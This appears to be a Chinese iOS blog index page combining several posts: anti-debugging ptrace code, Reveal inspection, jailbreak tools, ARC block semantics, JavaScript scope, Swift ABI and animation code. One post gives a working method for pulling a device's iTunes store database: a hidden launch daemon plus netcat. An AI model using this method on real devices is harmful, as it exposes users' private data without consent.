阻止 GDB 依附

4 阻止 GDB 依附

GDB 是大多数 hackers 的首选,阻止 GDB 依附到应用的常规办法是:

1
2
3
4
5
6
7
8
9
10
11
#import <sys/ptrace.h>  

int main(int argc, charchar *argv[])
{
 #ifndef DEBUG
    ptrace(PT_DENY_ATTACH,0,0,0);
 #endif
    @autoreleasepool {
        return UIApplicationMain(argc, argv, nil, NSStringFromClass([WQMainPageAppDelegate class]));
    }
}

但遗憾的是,iPhone 真实的运行环境是没有 sys/ptrace.h 抛出的。虽然 ptrace 方法没有被抛出, 但是不用担心,我们可以通过 dlopen 拿到它。

dlopen: 当 path 参数为 0 是,他会自动查找
$LD_LIBRARY_PATH, $DYLD_LIBRARY_PATH, $DYLD_FALLBACK_LIBRARY_PATH 和当前工作目录中的动态链接库。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#import <dlfcn.h>  
 #import <sys/types.h>

typedef int (*ptrace_ptr_t)(int _request, pid_t _pid, caddr_t _addr, int _data);
 #if !defined(PT_DENY_ATTACH)
 #define PT_DENY_ATTACH 31
 #endif  // !defined(PT_DENY_ATTACH)  

void disable_gdb() {
    void* handle = dlopen(0, RTLD_GLOBAL | RTLD_NOW);
    ptrace_ptr_t ptrace_ptr = dlsym(handle, "ptrace");
    ptrace_ptr(PT_DENY_ATTACH, 0, 0, 0);
    dlclose(handle);
}

int main(int argc, charchar *argv[])
{
 #ifndef DEBUG
    disable_gdb();
 #endif
    @autoreleasepool {
        return UIApplicationMain(argc, argv, nil, NSStringFromClass([WQMainPageAppDelegate class]));
    }
}

Reveal查看APP UI

3 使用 Reveal 分析他人 App

准备工作

1)已越狱的设备,并且已安装了 OpenSSH , MobileSubstrate 等实用工具( Cydia 源里安装)

2)本地已安装了 Reveal

操作步骤

拷贝 framework 和 dylib 到越狱机

 
scp -r /Applications/Reveal.app/Contents/SharedSupport/iOS-Libraries/Reveal.framework root@192.168.0.X:/System/Library/Frameworks
scp /Applications/Reveal.app/Contents/SharedSupport/iOS-Libraries/libReveal.dylib root@192.168.0.X:/Library/MobileSubstrate/DynamicLibraries

编辑 libReveal.plist

a.可以 ssh 登录到越狱机上,并且越狱机已安装了编辑器工具例如 nano,在 /Library/MobileSubstrate/DynamicLibraries/ 下创建文件 libReveal.plist ,指定 app 的 Bundle ,可以指定多个

1
2
3
4
5
{
    Filter = {
         Bundles = ("com.apple.AppStore");
    };
}

b.也可以在本地创建好 libReveal.plist 在 scp 到指定位置 /Library/MobileSubstrate/DynamicLibraries/ 下

重启越狱机

a.执行 killall SpringBoard

b.也可以重启设备

然后就可以到 Reveal 看看别人的 app 怎么布局的了,苹果的appstore:

图片 3.1 reveal

来沪一周年纪

题记

不知不觉,来沪一周年。特发此文,总结来沪一周年的收获。

如何非法窃取用户信息?

2 后台 daemon 非法窃取用户 iTunesstore 信息

本人郑重声明:并不鼓励窃取用户隐私等行为,一切 hack 学习都只是为了研究如何防御。OK,进入正题。

开机自启动

iOS 黑客工具中,介绍了如何编译自己的 C 程序并手动启动。今天介绍如何使程序变为开机自启动。

首先打开 Xcode 创建一个 plist 属性文件,如下图所示:

图片 2.1 daemon1

其中要注意一下通信服务名,我定为 55 。用编辑器打开,即为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Program</key>
    <string>/usr/bin/ncdemo</string>
    <key>StandardErrorPath</key>
    <string>/dev/null</string>
    <key>SessionCreate</key>
    <true/>
    <key>ProgramArguments</key>
    <array>
        <string>/usr/bin/ncdemo</string>
    </array>
    <key>inetdCompatibility</key>
    <dict>
        <key>Wait</key>
        <false/>
    </dict>
    <key>Sockets</key>
    <dict>
        <key>Listeners</key>
        <dict>
            <key>SockServiceName</key>
            <string>55</string>
        </dict>
    </dict>
</dict>
</plist>

最后,将 plist 文件 scp 至 root@192.168.1.114:/System/Library/LaunchDaemons/下 。

编写读取 iTunesstore 数据库程序

读取 itunesstored2.sqlitedb 信息,并输出到 stdout 中,便于我们读取。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>  
 #include <fcntl.h>
 #include <stdlib.h>

 #define FILE "/var/mobile/Library/com.apple.itunesstored/itunesstored2.sqlitedb"

int main(){
    int fd = open(FILE, O_RDONLY);
    char buf[128];
    int ret = 0;

    if(fd < 0)
        return -1;
    while (( ret = read(fd, buf, sizeof(buf))) > 0){
        write( fileno(stdout), buf, ret);
    }
    close(fd);
    return 0;
}

编译、拷贝、签名

编译方法上篇文章已经介绍清楚,这里不再重复,直接 ¥%¥#%¥……%# 生成运行在 ARM 的 ncdemo

将 ncdemo scp 到设备中,并登录

$ scp ncdemo root@192.168.1.114:ncdemo
$ ssh root@192.168.1.114

签名

 #ldid -S ncdemo
 #mv ncdemo /usr/bin

抓取 iTunesstore 数据信息

这时,我们只需要利用 netcat,指定之前定义的服务名称,轻松在本地抓取设备 iTunesstore 信息. $ nc 192.168.1.114 55 > itunesstored2.sqlitedb

分析 iTunesstore 数据信息

好吧,这里就介绍个最简单的应用,利用string命令查看: $ strings itunesstored2.sqlitedb

于是乎,我们就清晰的得到了 iPhone/iPad 设备上都安装了哪些 app :

图片 2.2 daemon2

当然,除了这些,你想干什么都可以……夜深了,先写到这里吧……

iOS黑客工具

1 Hack 必备的命令与工具

常用的命令和工具

ps ——显示进程状态,CPU 使用率,内存使用情况等
sysctl ——检查设定 Kernel 配置
netstat ——显示网络连接,路由表,接口状态等
route ——路由修改
renice ——调整程序运行的优先级
ifconfig ——查看网络配置
tcpdump ——截获分析网络数据包
lsof ——列出当前系统打开的文件列表,别忘记一切皆文件,包括网络连接、硬件等
otool ① ——查看程序依赖哪些动态库信息,反编代码段……等等等等
nm ② ——显示符号表
ldid ③ ——签名工具
gdb ——调试工具 patch ——补丁工具
SSH ——远程控制

备注: ① otool,可查看可执行程序都链接了那些库: otool -L WQAlbum

可以得到:

1
2
3
4
5
6
7
8
WQAlbum:
    /System/Library/Frameworks/StoreKit.framework/StoreKit (compatibility version 1.0.0, current version 1.0.0)
    /System/Library/Frameworks/AdSupport.framework/AdSupport (compatibility version 1.0.0, current version 1.0.0)
    /usr/lib/libz.1.dylib (compatibility version 1.0.0, current version 1.2.5)
    /System/Library/Frameworks//MediaPlayer.framework/MediaPlayer (compatibility version 1.0.0, current version 1.0.0)
    /System/Library/Frameworks/MobileCoreServices.framework/MobileCoreServices (compatibility version 1.0.0, current version 40.0.0)
    /System/Library/Frameworks/CoreMedia.framework/CoreMedia (compatibility version 1.0.0, current version 1.0.0)
……

可以反编译 WQAlbum 的 __TEXT__ 段内容, 截前 10 行: otool -tV WQAlbum |head -n 10

可以得到:

1
2
3
4
5
6
7
8
9
WQAlbum:
(__TEXT,__text) section
start:
00002de0    pushl    $0x00
00002de2    movl    %esp,%ebp
00002de4    andl    $0xf0,%esp
00002de7    subl    $0x10,%esp
00002dea    movl    0x04(%ebp),%ebx
……

② nm,显示程序符号表,用我自己的应用程序私人相册现身说法一下: nm -g WQAlbum ( -g 代表 global )

可以得到:

1
2
3
001e5eec S _OBJC_IVAR_$_WQPhotoViewController.albumObject
001e5efc S _OBJC_IVAR_$_WQPhotoViewController.int_current
001e5f00 S _OBJC_IVAR_$_WQPhotoViewController.int_total

其中,WQPhotoViewController 为类名,albumObject 为该类的成员

③ ldid,是 iPhoneOS.platform 提供的签名工具,我们自己编译的程序需要签上名才能跑在 iPhone/iPad 上,使用方法

1
2
export CODESIGN_ALLOCATE=/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/usr/bin/codesign_allocate
ldid -S helloworld

编译 Hello World

首先找到编译器:

图片 1.1 hacktools1

arm-apple-darwin10-llvm-gcc-4.2 就是了。 为了方便起见,可以在 .bashrc 或者 profile 配置下环境变量,方便编译。

找到 SDK

编译我们自己的程序的时候需要指定该目录下的 SDK 。

来个经典 Hello World :

1
2
3
4
5
#include <stdio.h>                                                                                            
int main(){
       printf("Hello world !!!\n");
       return 0;
}

编译

hacktools2

图片 1.2 hacktools2

其中 -isysroot 用来指定 build 时的 SDK

校验

hacktools3

图片 1.3 hacktools3

file 查看一下类型,没问题。

SCP 给 iPhone、iPad

前提是,设备已经越狱并且安装了 SSH ,且必须在同一网段。 $scp helloworld root@x.x.x.x:hello world

登录设备签名

$ssh -l root x.x.x.x

#ldid -S helloworld

执行程序

 #./helloworld
Hello world !!!

运行成功,这就完成了最简单的手动执行自己的应用程序。

循环引用会导致崩溃吗?

1
2
3
4
5
@weakify(self);
   return [RACSignal createSignal:^RACDisposable * (id<RACSubscriber> subscriber) {
       @strongify(self);
       return nil;
   }];
block 没有调用前, self delloc了,在 block 里面 strongself 应该可以获取的变量,个人理解,block 中的 self 算是局部变量,有 block 持有,销毁情况只跟 block 有关系

也有人说 strongSelf 只是保证在 block 里面有值,这样说也没错,我测试也是 strong 里面保持有值得,即使外部的 self 释放了,所以内部才用 strongSelf

那平常我们在没有用这个框架的时候,都是用__weak,这样的话, block 里边的weakself,在self dealloc后 , 还有么?dealloc 会置为 nil

1
2
3
4
__weak typeof(self) weakself = self;
    return [RACSignal createSignal:^RACDisposable * (id<RACSubscriber> subscriber) {
        return nil;
    }];
对于内部有多函数调用 用它有隐患,也就是说这样写,是不好的?

是的,这样可以避免block执行过程中self对象被释放

外部的 weak 是为了防止因为 self 导致的循环引用,但是如果这时候 self 被释放的话,内部的 weakself 就为空了,所以一般内部会用 __strong 生声明一下 __weak typeof(self) weakSelf = self; 最安全用法:block外部: __weak __typeof(self) weakSelf = self; block内部: __strong __typeof(weakSelf) strongSelf = weakSelf; why: weakSelf 是为了block不持有self, 避免循环引用, 而再声明一个strongSelf是因为一旦进入block执行, 就不允许self在这个执行过程中释放. block执行完成后这个strongSelf会自动释放, 没有循环引用问题.

1
2
3
4
5
6
  __weak typeof(self) weakSelf = self;
  dispatch_async(dispatch_get_main_queue(), ^{
    [weakSelf doThis];
    [weakSelf doThat];
    [Manager.sharedInstance updateSuccessCount];
  });
如上,block内部发送了两条消息, 如果只是一条, 那么采用weakSelf是没有问题的.但如果是两条消息,y通过看Clang的document能够看到, 以为Clang有可能会重新计算对象的引用计数, weakSelf有可能被置为nil, 这一过程发生在block内部执行完doThis之后, 还没有执行doThat之前. 我现在这外部 weakself 释放了,里面的 strongself 也跟着释放了.

那么这里用weakself 是不是不对呢? 刚才那里用weakSelf是没错的。为什么?
1
2
3
4
5
6
7
8
9
__weak typeof(self) weakSelf = self;
dispatch_async(dispatch_get_main_queue(), ^{
      if(weakSelf) {
      __strong typeof(weakSelf) strongSelf = weakSelf;
      [strongSelf doThis];
      [weakSelf doThat];
      [Manager.sharedInstance updateSuccessCount];
    }
});
内部的typeof()括号里面的是 weakSelf啦 这样block会把weakSelf放到内部的一个持有变量表里面,我测试,当在内部强引用这 self, 视图被销毁,先走 delloc, 然后 strongself 还是存在的。 不是有一个持有变量表么,按道理来讲block中的weakself,应该是一直有的啊block持有weakSelf,因为是weak变量所以不会增加引用计数。如果self对象在block执行之前就没有其他strong变量持有它,就会释放,后面block执行的时候weakSelf就已经是nil了。但是如果block开始执行,strongSelf又持有了self对象,这时候即使没有其他strong变量持有,self对象也不会释放。block执行完毕后,局部变量strongSelf被系统自动回收,这时候self变量引用计数会-1,如果没有其他变量持有,就会释放。总之,strongSelf不能确保block执行时self对象还存在,但是一旦开始执行时self还在,strongSelf可以给self续命到block执行结束
1
2
3
4
5
6
7
8
__weak typeof(self) weakSelf = self;
[self doSomethingInBackgroundWithBlock:^{
    __strong typeof(weakSelf) strongSelf = weakSelf;
    if (strongSelf) {
        [strongSelf doSomethingInBlock];
        [strongSelf doSomethingElseInBlock];
    }
}];
其实这里不if 倒也没关系,反正给nil发消息什么也不会发生。不过加上逻辑更明确。发送消息没关系,但是访问他的变量就完了
这个就会崩溃。 嗯,循环引用大致是这样

JavaScript的作用域

 作用域是什么

几乎所有编程语言最基本的功能之一,就是能够储存变量当中的值,并且能在之后对这个值进行访问或修改。事实上,正是这种储存和访问变量的值的能力将状态带给了程序。

若没有了状态这个概念,程序虽然也能够执行一些简单的任务,但它会受到高度限制,做不到非常有趣。

但是将变量引入程序会引起几个很有意思的问题,也正是我们将要讨论的:这些变量住在哪里?换句话说,它们储存在哪里?最重要的是,程序需要时如何找到它们?

这些问题说明需要一套设计良好的规则来存储变量,并且之后可以方便地找到这些变量。这套规则被称为作用域

但是,究竟在哪里而且怎样设置这些作用域的规则呢?

 编译原理

尽管通常将JavaScript归类为“动态”或“解释执行”语言,但事实上它是一门编译语言。这个事实对你来说可能显而易见,也可能你闻所未闻,取决于你接触过多少编程语言,具有多少经验。但与传统的编译语言不同,它不是提前编译的,编译结果也不能在分布式系统中进行移植。

尽管如此,JavaScript引擎进行编译的步骤和传统的编译语言非常相似,在某些环节可能比预想的要复杂。

在传统编译语言的流程中,程序中的一段源代码在执行之前会经历三个步骤,统称为“编译”。

  • 分词/词法分析(Tokenizing/Lexing)

    这个过程会将由字符组成的字符串分解成(对编程语言来说)有意义的代码块,这些代码块被称为词法单元(token)。例如,考虑程序var a = 2;。这段程序通常会被分解成为下面这些词法单元:vara=2;。空格是否会被当作词法单元,取决于空格在这门语言中是否具有意义。

分词(tokenizing)和词法分析(Lexing)之间的区别是非常微妙、晦涩的,主要差异在于词法单元的识别是通过有状态还是无状态的方式进行的。简单来说,如果词法单元生成器在判断a是一个独立的词法单元还是其他词法单元的一部分时,调用的是有状态的解析规则,那么这个过程就被称为词法分析

  • 解析/语法分析(Parsing)

    这个过程是将词法单元流(数组)转换成一个由元素逐级嵌套所组成的代表了程序语法结构的树。这个树被称为“抽象语法树”(Abstract Syntax Tree,AST)。

    var a = 2;的抽象语法树中可能会有一个叫作VariableDeclaration的顶级节点,接下来是一个叫作Identifier(它的值是a)的子节点,以及一个叫作AssignmentExpression的子节点。AssignmentExpression节点有一个叫作NumericLiteral(它的值是2)的子节点。

  • 代码生成

    将AST转换为可执行代码的过程称被称为代码生成。这个过程与语言、目标平台等息息相关。

    抛开具体细节,简单来说就是有某种方法可以将var a = 2;的AST转化为一组机器指令,用来创建一个叫作a的变量(包括分配内存等),并将一个值储存在a中。

关于引擎如何管理系统资源超出了我们的讨论范围,因此只需要简单地了解引擎可以根据需要创建并储存变量即可。

Read on →

Swift 3.0 ABI

Hard Constraints on Resilience

The root of a class hierarchy must remain stable, at pain of invalidating the metaclass hierarchy. Note that a Swift class without an explicit base class is implicitly rooted in the SwiftObject Objective-C class.

Type Layout

Fragile Struct and Tuple Layout

Structs and tuples currently share the same layout algorithm, noted as the “Universal” layout algorithm in the compiler implementation. The algorithm is as follows:

  • Start with a size of 0 and an alignment of 1.
  • Iterate through the fields, in element order for tuples, or in var declaration order for structs. For each field:
    • Update size by rounding up to the alignment of the field, that is, increasing it to the least value greater or equal to size and evenly divisible by the alignment of the field.
    • Assign the offset of the field to the current value of size.
    • Update size by adding the size of the field.
    • Update alignment to the max of alignment and the alignment of the field.
  • The final size and alignment are the size and alignment of the aggregate. The stride of the type is the final size rounded up to alignment.

Note that this differs from C or LLVM’s normal layout rules in that size and stride are distinct; whereas C layout requires that an embedded struct’s size be padded out to its alignment and that nothing be laid out there, Swift layout allows an outer struct to lay out fields in the inner struct’s tail padding, alignment permitting. Unlike C, zero-sized structs and tuples are also allowed, and take up no storage in enclosing aggregates. The Swift compiler emits LLVM packed struct types with manual padding to get the necessary control over the binary layout. Some examples:

// LLVM <{ i64, i8 }>
struct S {
  var x: Int
  var y: UInt8
}

// LLVM <{ i8, [7 x i8], <{ i64, i8 }>, i8 }>
struct S2 {
  var x: UInt8
  var s: S
  var y: UInt8
}

// LLVM <{}>
struct Empty {}

// LLVM <{ i64, i64 }>
struct ContainsEmpty {
  var x: Int
  var y: Empty
  var z: Int
}

Class Layout

Swift relies on the following assumptions about the Objective-C runtime, which are therefore now part of the Objective-C ABI:

  • 32-bit platforms never have tagged pointers. ObjC pointer types are either nil or an object pointer.
  • On x86-64, a tagged pointer either sets the lowest bit of the pointer or the highest bit of the pointer. Therefore, both of these bits are zero if and only if the value is not a tagged pointer.
  • On ARM64, a tagged pointer always sets the highest bit of the pointer.
  • 32-bit platforms never perform any isa masking. object_getClass is always equivalent to *(Class*)object.
  • 64-bit platforms perform isa masking only if the runtime exports a symbol uintptr_t objc_debug_isa_class_mask;. If this symbol is exported, object_getClass on a non-tagged pointer is always equivalent to (Class)(objc_debug_isa_class_mask & *(uintptr_t*)object).
  • The superclass field of a class object is always stored immediately after the isa field. Its value is either nil or a pointer to the class object for the superclass; it never has other bits set.

The following assumptions are part of the Swift ABI:

  • Swift class pointers are never tagged pointers.

TODO

Fragile Enum Layout

In laying out enum types, the ABI attempts to avoid requiring additional storage to store the tag for the enum case. The ABI chooses one of five strategies based on the layout of the enum:

Empty Enums

In the degenerate case of an enum with no cases, the enum is an empty type.

enum Empty {} // => empty type

Single-Case Enums

In the degenerate case of an enum with a single case, there is no discriminator needed, and the enum type has the exact same layout as its case’s data type, or is empty if the case has no data type.

enum EmptyCase { case X }             // => empty type
enum DataCase { case Y(Int, Double) } // => LLVM <{ i64, double }>
Read on →

动画详解

最近发现自己对iOS的动画理解很肤浅,于是执行了一段相对复杂的动画,加深自己对CAKeyframeAnimation关键帧动画的理解。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
    //执行事件
    CAKeyframeAnimation *positionAnimation = [CAKeyframeAnimation animation];
    positionAnimation.keyPath = @"position";
    positionAnimation.values = @[[NSValue valueWithCGPoint:CGPointMake(0,0)], [NSValue valueWithCGPoint:CGPointMake(-110, 73)], [NSValue valueWithCGPoint:CGPointMake(-167, 116)], [NSValue valueWithCGPoint:CGPointMake(-189-30, 133+30)]];
    positionAnimation.keyTimes = @[ @0, @(11 / 30.0), @(22 / 30.0), @1];
    positionAnimation.duration = 3.0;
    positionAnimation.removedOnCompletion = NO;
    positionAnimation.additive = YES;

    positionAnimation.timingFunctions = @[[CAMediaTimingFunction functionWithName:kCAMediaTimingFunctionLinear], [CAMediaTimingFunction functionWithName:kCAMediaTimingFunctionLinear], [CAMediaTimingFunction functionWithName:kCAMediaTimingFunctionLinear], [CAMediaTimingFunction functionWithName:kCAMediaTimingFunctionLinear]];

    positionAnimation.autoreverses = YES;
    positionAnimation.calculationMode = kCAAnimationLinear;

    [_meteroStar.layer addAnimation:positionAnimation forKey:@"PositionAnimation"];

    //    Alpha
    CAKeyframeAnimation *alphaAnimation = [CAKeyframeAnimation animationWithKeyPath:@"opacity"];
    alphaAnimation.duration = 3.0;
    alphaAnimation.values = @[ @0.0, @1.0, @0.5, @0.4];
    alphaAnimation.keyTimes = @[ @0, @(11 / 30.0), @(22 / 30.0), @1];
    alphaAnimation.autoreverses = NO;
    alphaAnimation.removedOnCompletion = NO;
    [_meteroStar.layer addAnimation:alphaAnimation forKey:@"alphaPositionAnimation"];

    // Transform
    CAKeyframeAnimation *animation = [CAKeyframeAnimation animationWithKeyPath:@"transform"];
         CATransform3D scale1 = CATransform3DMakeScale(0.4, 0.4, 1);
         CATransform3D scale2 = CATransform3DMakeScale(1.2, 1.2, 1);
         CATransform3D scale3 = CATransform3DMakeScale(0.9, 0.9, 1);
         CATransform3D scale4 = CATransform3DMakeScale(0.4, 0.4, 1);

    NSArray *frameValues = [NSArray arrayWithObjects:
                                  [NSValue valueWithCATransform3D:scale1],
                                  [NSValue valueWithCATransform3D:scale2],
                                  [NSValue valueWithCATransform3D:scale3],
                                  [NSValue valueWithCATransform3D:scale4],
                                                               nil];
    [animation setValues:frameValues];

    animation.keyTimes = @[ @0, @(11 / 30.0), @(22 / 30.0), @1];
    animation.fillMode = kCAFillModeForwards;
    animation.duration = 3;
    animation.autoreverses = NO;
    animation.removedOnCompletion = NO;
    [self.meteroStar.layer addAnimation:animation forKey:@"PopUpAnimation"];

React-Native 资源整理

最近在学习React-Native过程中整理了一些学习的资源。

教程

react-native 官方api文档.

Awesome React-Native.

react-native 中文api文档 (翻译中).

react.js中文文档.

react.js入门教程(gitbook).

react.js快速入门教程.

react.js视频教程.

react-native第一课. Read on →